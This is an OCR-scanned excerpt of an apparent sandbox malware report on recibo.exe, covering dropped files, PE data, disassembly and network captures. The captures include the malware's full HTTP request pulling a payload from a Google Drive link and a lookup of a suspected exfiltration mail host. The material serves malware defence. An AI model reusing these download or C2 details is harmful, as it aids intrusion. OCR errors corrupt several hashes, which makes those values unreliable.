qr*.5.0.5.0.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.
S (D P Ne——— e @..X.

C:\Users\user\AppData\Local\Temp\printer-symbolic.svg

Process:

C:\Users\user\Desktop\recibo.exe

Copyright Joe Security LLC 2022 Page 15 of 47


https://www.metadefender.com/#!/results/file/YnpJeU1EVXlOa05uWVd4Q1RuRkRaQUduUFBPVVN5Rjg/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeU1EVXlOM1JHWld0NGNtMXllbG8tSEZzMlVwMTZBTQ/regular/analysis

File Type: SVG Scalable Vector Graphics image
Category: dropped
Size (bytes): 213

Entropy (8bit):  4.950492507724413

Encrypted: false

SSDEEP: 6:t19mc4slzcpG+xW6UmUuksJtjidUOt/ZME:t4Cp9xW6zUmjWOtOE

MDS5: A4ACDD85E11EA101F3BB4B5BEC3382F0

SHAL: 2DC81694D5D3C403BF696B1796385D2F64C40D77

SHA-256: AD87999B06B9C8035CCACBEF29D54C9E00055EE9E2DBDDIB7BA24CCF56C471E6

SHA-512: 6C7C1E913CBF7CD6B91721BD60705B3A87C398B5D69D1FA03D67EDF7C69E23AB410938EC5E0770584E5B6E218443E53A702BD389C2253F05C2D4F48B944D48!
E

Malicious: false

Preview: <svg xmins="http://www.w3.0rg/2000/svg" width="16" height="16"><g fill="#474747"><path d="M2 4c-.5 0-1 .5-1 1v4c0 .5.5 1 1 1h1V8h10v2hlc.5 0 1-.5 1-1V5¢c0-.5-.5-1-

1-1zm2-3v2h8V1z"/><path d="M4 9v5h8V9z"/></g></svg>

C:\Users\user\AppData\Local\Temp\vm3ddevapi64-debug.dll v

Process: C:\Users\user\Desktop\recibo.exe

File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category: dropped

Size (bytes): 288328

Entropy (8bit):  6.5244639850667605

Encrypted: false

SSDEEP: 6144: TWMbKY5G780mQB8fkrOX9rn8ndvcAb5abaglLgandSUbJ:aMbKY5AIvikSX9rSdkfbanUbJ

MD5: 9ECB2FA510DCDF4BFB06DC80A83294BD

SHAL: 65E0CEC428D010B94D81BA784EA709EBAS98A1CD

SHA-256: 865868E3BE461332134EFBBA9F1D8AAASE29A0C8AD3F5A2ACA7311F47DACFD62

SHA-512: 6F70D42EE2A6CA1F2D85A84947B74EADO3FA4CDO0OAESD897FC80832111D88BODIEEFE81B5FFBC229AE9E1DI7467713AF0D385C8C2E96D67B5E9008033C02CE
28

Malicious: false

Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse

e Antivirus: ReversinglLabs, Detection: 0%

Preview: . .@. od 1..L.IThis program cannot be run in DOS mode....$.

\Device\ConDrv

Process: C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 30

Entropy (8bit):  3.964735178725505

Encrypted: false

SSDEEP: 3:IBVFBWAGRHneyy:ITQAGRHner

MD5: 9F754B47B351EFOFC32527B541420595

SHAL: 006C66220B33E98C725B73495FE97B3291CE14D9

SHA-256: 0219D77348D2F0510025E188D4EA84ABE73F856DEBSE0878D673079D05840591
SHA-512: C6996379BCB774CE27EEECOF173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A0853
Malicious: false

Preview: NordVPN directory not found!..

Static File Info

General

File type: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive

Entropy (8bit): 7.397735144960236
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https://www.metadefender.com/#!/results/file/YnpJeU1EVXlOa05uWVd4Q1RuRkRaQWx0VVZJSzRmcDA/regular/analysis

TriD: e Win32 Executable (generic) a (10002005/4) 99.96%
e Generic Win/DOS Executable (2004/3) 0.02%
e DOS Executable Generic (2002/1) 0.02%
e Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name: recibo.exe
File size: 606778
MD5: 4680729edca682d1b6de8cf875bbfdf5
SHA1L: debf5126050330echfc29582d979101cd557dd42
SHA256: e18032a74c8138c907ab2b6937ce66a4483a85e89b05a25153499efee4e85898
SHA512: dleacald1513ea5732f05dfflad527aa48fbdab35386f73bb08ale5d85569dd80a84217d78ca55a68688deb82a556f5338f45bcchfal6007014d6df2674624d9
SSDEEP: 12288:5bspFskmgHwg9jXbgO1xzSsOIKTQWfsmuYUD:5bsLskmZcOk9IKTQWkmuzZD
TLSH: 4FD4F154BACSBECABD01691785476AF656AD3EE1218358903173E3E2FF772193343B81E
File Content . .@. 1..L.IThis program cannot be run in DOS
Preview: ;. Pf.sV.Pf.V . PfRIich.Pf....cs PE..L..Z.Oa.....ccccenrnes Jeoreenen
File lcon

@
R

—

Icon Hash: 38e6d3blb3a2cc71

Static PE Info

General

Entrypoint: 0x40352d

Entrypoint Section: text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp: 0x614F9B5A [Sat Sep 25 21:57:46 2021 UTC]

TLS Callbacks:
CLR (.Net) Version:
OS Version Major:
OS Version Minor:
File Version Major:
File Version Minor:

Subsystem Version Major:

o ~ o » O b

Subsystem Version Minor:

Import Hash: 56a78d55f3f7af51443e58e0ce2fb5f6

Entrypoint Preview
Instruction

push ebp

mov ebp, esp

sub esp, 000003F4h

push ebx

push esi

push edi

push 00000020h

pop edi

xor ebx, ebx

push 00008001h

mov dword ptr [ebp-14h], ebx

mov dword ptr [ebp-04h], 0040A2EOh
mov dword ptr [ebp-10h], ebx

call dword ptr [004080CCh]

mov esi, dword ptr [004080D0h]
lea eax, dword ptr [ebp-00000140h]

push eax
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Instruction

mov dword ptr [ebp-0000012Ch], ebx
mov dword ptr [ebp-2Ch], ebx

mov dword ptr [ebp-28h], ebx

mov dword ptr [ebp-00000140h], 0000011Ch
call esi

test eax, eax

jne 00007FA77CADE2FAh

lea eax, dword ptr [ebp-00000140h]
mov dword ptr [ebp-00000140h], 00000114h
push eax

call esi

mov ax, word ptr [ebp-0000012Ch]
mov ecx, dword ptr [ebp-00000112h]
sub ax, 00000053h

add ecx, FFFFFFDOh

neg ax

shb eax, eax

mov byte ptr [ebp-26h], 00000004h
not eax

and eax, ecx

mov word ptr [ebp-2Ch], ax

cmp dword ptr [ebp-0000013Ch], 0Ah
jnc 00007FA77CADE2CAh

and word ptr [ebp-00000132h], 0000h
mov eax, dword ptr [ebp-00000134h]
movzx ecx, byte ptr [ebp-00000138h]
mov dword ptr [00434FB8h], eax

XOr eax, eax

mov ah, byte ptr [ebp-0000013Ch]
movzx eax, ax

or eax, ecx

XOr ecx, ecx

mov ch, byte ptr [ebp-2Ch]

movzx ecx, cx

shl eax, 10h

or eax, ecx

Rich Headers

Programming Language: e [EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name Virtual Address Virtual Size Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_IMPORT 0x8610 0xa0 .rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE 0x6b000 0x27620 .rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x0 0x0
IMAGE_DIRECTORY_ENTRY_SECURITY 0x0 0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC 0x0 0x0
IMAGE_DIRECTORY_ENTRY_DEBUG 0x0 0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_TLS 0x0 0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0x0 0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_IAT 0x8000 0x2b0 .rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 0x0 0x0
IMAGE_DIRECTORY_ENTRY_RESERVED 0x0 0x0
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Sections
Name Virtual Address
text 0x1000

.rdata 0x8000

.data 0xa000

.ndata 0x36000

.rsrc 0x6b000

Resources
Name

RT_ICON

RT_ICON
RT_ICON

RT_ICON

RT_ICON

RT_ICON

RT_DIALOG
RT_DIALOG
RT_DIALOG
RT_DIALOG
RT_GROUP_ICON
RT_VERSION
RT_MANIFEST

Imports
DLL
ADVAPI32.dll

SHELL32.dll

ole32.dll
COMCTL32.dll
USER32.dll

GDI32.dll

Copyright Joe Security LLC 2022

Virtual Size

0x6897

0x14a6

0x2b018

0x35000

0x27620

RVA

0x6b2f8

0x7bb20
0x84fc8

0x8a450

0x8e678

0x90c20

0x91cc8
0x91dc8
0x91ee8
0x91fb0

0x92010
0x92070
0x922e0

Raw Size

0x6a00

0x1600

0x600

0x0

0x27800

Size

0x10828

0x94a8
0x5488

0x4228

0x25a8

0x10a8

0x100
Oxllc
Oxc4
0x60
Ox5a
0x270
0x33e

Xored PE ZLIB Complexity File Type Entropy Characteristics
False 0.666126179245 data 6.45839821493 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ
False 0.439275568182 data 5.02410928126 IMAGE_SCN_CNT_INITIALIZED_
DATA, IMAGE_SCN_MEM_READ
False 0.521484375 data 4.15458210409 IMAGE_SCN_CNT_INITIALIZED_
DATA,
IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ
False 0 empty 0.0 IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_CNT_UNINITIALIZE
D_DATA,
IMAGE_SCN_MEM_READ
False 0.363744808149 data 4.74589509923 IMAGE_SCN_CNT_INITIALIZED_
DATA, IMAGE_SCN_MEM_READ
Type Language Country
dBase Il DBT, version number 0, next free block English United States
index 40
data English United States
data English United States
dBase IV DBT of \200.DBF, blocks size 0, block English United States
length 16384, next free block index 40, next free
block 6356992, next used block 0
dBase IV DBT of ".DBF, block length 9216, next English United States
free block index 40, next free block 0, next used
block 0
dBase IV DBT of @.DBF, block length 4096, next English United States
free block index 40, next free block 0, next used
block 0
data English United States
data English United States
data English United States
data English United States
data English United States
data English United States
XML 1.0 document, ASCII text, with very long lines, = English United States

with no line terminators

Import

RegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW,
RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW,
RegOpenKeyExW, RegEnumValueW

SHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW,
ShellExecuteExW, SHGetFileInfow

Olelnitialize, OleUninitialize, CoCreatelnstance, IIDFromString, CoTaskMemFree
ImagelList_Create, ImageList_Destroy, ImageList_AddMasked

GetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW,
MessageBoxIndirectW, GetDIgltemTextW, SetDlgltemTextW, GetSystemMetrics, FillRect, AppendMenuW,
TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IswindowVisible, CallWindowProcW,
GetMessagePos, CheckDIgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW,
PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenultem, GetWindowRect, ScreenToClient, EndDialog,
RegisterClassW, SystemParametersinfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW,
ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage,
SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow,
GetDlgltem, SetWindowLongW, LoadlmageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW,
DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu

SetBkMode, SetBkColor, GetDeviceCaps, CreateFontindirectW, CreateBrushindirect, DeleteObject, SetTextColor,
SelectObject
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DLL

KERNEL32.dll

Version Infos
Description
LegalCopyright
FileVersion
CompanyName
LegalTrademarks
Comments
ProductName
FileDescription

Translation

Possible Origin

Language of compilation system

English

Network Behavior

Network Port Distribution

TCP Packets

Timestamp

May 27, 2022 13:26:31.809705973 CEST
May 27, 2022 13:26:31.809802055 CEST
May 27, 2022 13:26:31.809953928 CEST
May 27, 2022 13:26:31.829085112 CEST
May 27, 2022 13:26:31.829153061 CEST
May 27, 2022 13:26:31.876333952 CEST
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Import

GetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, IstrcatW,
Sleep, IstrcpyA, WriteFile, GetTempFileNameW, CreateFileW, IstrcmpiA, RemoveDirectoryW, CreateProcessW,
CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW,
WideCharToMultiByte, IstrcpynW, IstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW,
GetWindowsDirectoryW, SetEnvironmentVariableW, CopyFileW, ExitProcess, GetCurrentProcess,
GetModuleFileNameW, GetFileSize, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW,
SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime,
SetFileTime, CloseHandle, IstrcmpiW, IstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc,
GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW,
GetPrivateProfileStringW, IstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW,
FindFirstFileW, DeleteFilew

Data

Insweepi
27.29.17
CHRYSALIDAH
Vrdi24
reconnoiterlbni
petiolispill
Pratalkoholis

0x0409 0x04b0

Country where language is spoken Map

United States

Total Packets: 53

® 53 (DNS)
@ 443 (HTTPS)

Source Port Dest Port Source IP Dest IP

49762 443 192.168.11.20 172.217.16.142
443 49762 172.217.16.142 192.168.11.20
49762 443 192.168.11.20 172.217.16.142
49762 443 192.168.11.20 172.217.16.142
443 49762 172.217.16.142 192.168.11.20
443 49762 172.217.16.142 192.168.11.20
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Timestamp Source Port Dest Port Source IP Dest IP

May 27, 2022 13:26:31.876477957 CEST 49762 443 192.168.11.20 172.217.16.142
May 27, 2022 13:26:31.876566887 CEST 49762 443 192.168.11.20 172.217.16.142
May 27, 2022 13:26:31.877955914 CEST 443 49762 172.217.16.142 192.168.11.20
May 27, 2022 13:26:31.878215075 CEST 49762 443 192.168.11.20 172.217.16.142
May 27, 2022 13:26:32.008568048 CEST 49762 443 192.168.11.20 172.217.16.142
May 27, 2022 13:26:32.008656979 CEST 443 49762 172.217.16.142 192.168.11.20
May 27, 2022 13:26:32.009377956 CEST 443 49762 172.217.16.142 192.168.11.20
May 27, 2022 13:26:32.009546041 CEST 49762 443 192.168.11.20 172.217.16.142
May 27, 2022 13:26:32.014319897 CEST 49762 443 192.168.11.20 172.217.16.142
May 27, 2022 13:26:32.054662943 CEST 443 49762 172.217.16.142 192.168.11.20
May 27, 2022 13:26:32.583215952 CEST 443 49762 172.217.16.142 192.168.11.20
May 27, 2022 13:26:32.583477020 CEST 49762 443 192.168.11.20 172.217.16.142
May 27, 2022 13:26:32.583558083 CEST 49762 443 192.168.11.20 172.217.16.142
May 27, 2022 13:26:32.584279060 CEST 443 49762 172.217.16.142 192.168.11.20
May 27, 2022 13:26:32.584465027 CEST 443 49762 172.217.16.142 192.168.11.20
May 27, 2022 13:26:32.584491968 CEST 49762 443 192.168.11.20 172.217.16.142
May 27, 2022 13:26:32.584619045 CEST 49762 443 192.168.11.20 172.217.16.142
May 27, 2022 13:26:32.718689919 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:32.718733072 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:32.718966007 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:32.719373941 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:32.719396114 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:32.769139051 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:32.769320011 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:32.769345045 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:32.771457911 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:32.771720886 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:32.775288105 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:32.775311947 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:32.775719881 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:32.775841951 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:32.776180983 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:32.818516970 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:32.991107941 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:32.991288900 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:32.991353989 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:32.991919994 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:32.992110968 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:32.992733955 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:32.992952108 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:32.993947029 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:32.994805098 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:32.994808912 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:32.995006084 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:32.996509075 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:32.996699095 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:32.998570919 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:32.998821020 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:32.999064922 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:32.999454975 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:32.999461889 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:32.999625921 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:32.999633074 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:32.999769926 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:32.999773979 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:32.999913931 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:33.000161886 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:33.000408888 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:33.000415087 CEST 443 49763 142.250.185.65 192.168.11.20
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Timestamp Source Port Dest Port Source IP Dest IP

May 27, 2022 13:26:33.000580072 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:33.000775099 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:33.001048088 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:33.001054049 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:33.001187086 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:33.001451015 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:33.001626968 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:33.001635075 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:33.002196074 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:33.002199888 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:33.002530098 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:33.002536058 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:33.002875090 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:33.002891064 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:33.003165007 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:33.003169060 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:33.003319979 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:33.003644943 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:33.003798008 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:33.003964901 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:33.003969908 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:33.004112005 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:33.004362106 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:33.004513025 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:33.004518986 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:33.004657030 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:33.004662991 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:33.004801035 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:33.005168915 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:33.005306005 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:33.005310059 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:33.005439997 CEST 49763 443 192.168.11.20 142.250.185.65
May 27, 2022 13:26:33.005470991 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:33.005661011 CEST 443 49763 142.250.185.65 192.168.11.20
May 27, 2022 13:26:33.005681992 CEST 49763 443 192.168.11.20 142.250.185.65
UDP Packets
Timestamp Source Port Dest Port Source IP Dest IP
May 27, 2022 13:26:31.791882992 CEST 58899 53 192.168.11.20 1.1.1.1
May 27, 2022 13:26:31.800254107 CEST 53 58899 11.1.1 192.168.11.20
May 27, 2022 13:26:32.678366899 CEST 58432 53 192.168.11.20 1.1.1.1
May 27, 2022 13:26:32.717102051 CEST 53 58432 11.1.1 192.168.11.20
May 27, 2022 13:26:44.708852053 CEST 50612 53 192.168.11.20 1.1.1.1
May 27, 2022 13:26:44.776501894 CEST 53 50612 11.1.1 192.168.11.20
DNS Queries
Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
May 27, 2022 13:26:31.791882992 CEST 192.168.11.20 1.1.1.1 0x33a9 Standard query  drive.google.com A (IP address) IN (0x0001)

0
May 27, 2022 13:26:32.678366899 CEST 192.168.11.20 1111 0oxd7f4 Standard query  doc-0g-cc- A (IP address) IN (0x0001)

(0) docs.googl

euserconte
nt.com

May 27, 2022 13:26:44.708852053 CEST 192.168.11.20 1.1.1.1 Oxebf7 Standard query  mail.corti A (IP address) IN (0x0001)

(0) jocuevas.com
DNS Answers
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Timestamp

May 27, 2022
13:26:31.800254107 CEST

May 27, 2022
13:26:32.717102051 CEST

May 27, 2022
13:26:32.717102051 CEST

May 27, 2022
13:26:44.776501894 CEST

May 27, 2022
13:26:44.776501894 CEST

Source IP

1111

1111

1111

STITINII

1111

Dest IP

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

HTTP Request Dependency Graph

e drive.google.com

e doc-0g-cc-docs.googleusercontent.com

HTTPS Proxied Packets
Session ID Source IP
0 192.168.11.20

Timestamp

2022-05-27 11:26:32 UTC

2022-05-27 11:26:32 UTC

Session ID

Timestamp

kBytes
transferred

0

0

Source IP

192.168.11.20

kBytes
transferred
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Source Port

49762

Direction

ouT

Source Port

49763

Direction

Trans ID Reply Code Name CName Address Type Class

0x33a9 No error (0) drive.google.com 172.217.16.142 A (IP address) IN
(0x0001)
0xd7f4 No error (0) doc-0g-cc- googlehosted.l.goo CNAME IN
docs.goog| gleusercontent.co (Canonical (0x0001)
euserconte m name)
nt.com
0xd7f4 No error (0) googlehost 142.250.185.65 A (IP address) IN
ed.l.googl (0x0001)
euserconte
nt.com
Oxebf7 No error (0) mail.corti cortijocuevas.com CNAME IN
jocuevas.com (Canonical (0x0001)
name)
Oxebf7 No error (0) cortijocue 168.119.38.32 A (IP address) IN
vas.com (0x0001)
Destination IP CEIREL Process
Port
172.217.16.142 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
Data

GET /uc?export=download&id=1EX-TfU9IP_N_SsQAtVtT8-t2zzMXng6WS HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: drive.google.com

Cache-Control: no-cache

HTTP/1.1 303 See Other

Content-Type: application/binary

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: Mon, 01 Jan 1990 00:00:00 GMT

Date: Fri, 27 May 2022 11:26:32 GMT

Location: https://doc-0g-cc-docs.googleusercontent.com/docs/securesc/haOro937gcuc?|7deffksulhng5h7mbpl/c6f1jlki
11I7f0g8rg2nidoteuikk5gii/1653650775000/00619175272154792338/*/1EX-TfUIP_N_SsQAtVtT8-t2zzMXng6WS?e=do
wnload

Strict-Transport-Security: max-age=31536000

Cross-Origin-Opener-Policy: same-origin

Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-
platform=*, ch-ua-platform-version=*

Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-M
odel, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version

Content-Security-Policy: script-src ‘nonce-1bzVz6PRAVRfXgvVEOS5-aSw' ‘unsafe-inline’;object-src ‘none';base-uri ‘self';rep
ort-uri /_/DriveUntrustedContentHttp/cspreport;worker-src ‘self'

Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport

Server: ESF

Content-Length: 0

X-XSS-Protection: 0

X-Frame-Options: SAMEORIGIN

X-Content-Type-Options: nosniff

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Connection: close

Destination IP Destination Process
Port
142.250.185.65 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data
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kBytes

Timestam
P transferred

2022-05-27 11:26:32 UTC 1

2022-05-27 11:26:32 UTC 1

2022-05-27 11:26:32 UTC 5

2022-05-27 11:26:32 UTC 9

2022-05-27 11:26:32 UTC 13

2022-05-27 11:26:32 UTC 16

Copyright Joe Security LLC 2022

Direction

ouT

Data

GET /docs/securesc/haOro937gcuc?I7deffksulhg5h7mbp1/c6f1jlkill7f0g8rg2nidoteuikk5gii/1653650775000/00619175272
154792338/*/1EX-TfUIP_N_SsQAtV{T8-t2zzMXng6WS?e=download HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Cache-Control: no-cache

Host: doc-0g-cc-docs.googleusercontent.com

Connection: Keep-Alive

HTTP/1.1 200 OK

X-GUploader-UploadID: ADPycdt7PGT7SI8tQMmd7hkN_muugMLcIXRgGLeR7EAcUSUWp-dW9DEwleL6YWCInH_O
VjhQvenWnQNVDmzOPJiybU1kxNBzDC8D

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: false

Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-
Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token,
financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-Patientld, GData-Version, google-cloud-resource-prefix, linked-
customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-
Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-
model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-
Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-
Firebase-Auth-Token, X-Firebase-AppCheck, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Cl
ient, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visib
ilities, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-
Pageld, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-1d, X-Goog-Request-Info, X-Goog-Request-R
eason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-
